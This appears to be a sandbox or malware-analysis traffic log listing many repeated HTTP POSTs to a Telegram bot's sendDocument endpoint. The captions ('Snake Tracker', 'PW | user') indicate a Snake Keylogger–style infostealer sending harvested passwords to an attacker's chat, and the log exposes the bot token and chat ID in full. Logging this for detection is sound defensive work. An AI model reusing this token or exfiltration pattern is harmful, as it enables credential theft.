Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ee23a537a0eHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e6f6632ec55Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e633f512fcfHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0efa41ff69d7Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e867d773907Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e7d2eac84a9Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ea18e3d18a2Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f14dc5e3fefHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0e97064f676eHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0eb3179c3f7fHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f28be95a5fbHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0eab5a499b52Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ec9f12dbdf1Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f4082f33a4cHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ec250d2c789Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f519f0d5ca3Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ede0895058aHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f08a8cc2626Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ef55334ac8aHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f7f6e69a05fHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f1ddc04ff5aHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f982ba92d5dHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f0c03271772Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f1e9f0c802fHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fab9e050937Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f2f0420657eHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f35250cf7bbHost: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fc80cbc88b2Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f440fe0220dHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f4ce99ede20Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f5908777d5bHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fe461bde220Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f63476ff6d9Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f6f3c5dd29eHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10047244b21aHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f76f31b176fHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f82c2b37b8eHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd101cbc07fa5fHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f8fc54b4863Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0f9b66364c74Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1044355765bfHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fac6961b0abHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fb53f2b9fbbHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd106900031a3dHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fc7a70b6000Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fd2dd57c60fHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10968007cad7Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0fe7f7931677Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd0ff1a9c0edb8Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10c1527eafe5Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1006e1e9399eHost: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1011a0457cfdHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10f381542235Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd102ad1bb58e8Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10354bf3d436Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd112bbdaca27cHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10564b4229a8Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd105de7de44b5Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11703916c344Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10ec2ab08cebHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd10f104b8c903Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1275f877ff90Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1121e522ff54Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd112726dfdaefHost: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd12d4ee8d8cfeHost: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd114d7c71abd4Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11559464c338Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd131d191f6227Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd1197e49d4113Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11aa88ccb890Host: api.telegram.orgContent-Length: 537Connection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd13bb487a2aa3Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11dc4fb6d2d1Host: api.telegram.orgContent-Length: 537
Source: global traffic HTTP traffic detected: POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd11c811aae335Host: api.telegram.orgContent-Length: 537
